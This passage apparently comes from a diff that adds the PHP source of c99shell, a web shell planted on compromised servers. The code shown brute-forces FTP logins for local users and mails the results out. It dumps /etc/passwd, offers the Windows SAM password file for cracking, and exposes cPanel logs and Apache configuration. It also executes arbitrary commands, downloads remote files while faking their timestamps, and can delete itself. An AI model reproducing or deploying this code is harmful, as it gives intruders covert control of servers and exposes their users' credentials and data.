login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "search"){ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."]</a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[Info]</a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[Info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[Change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[Download]</a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + 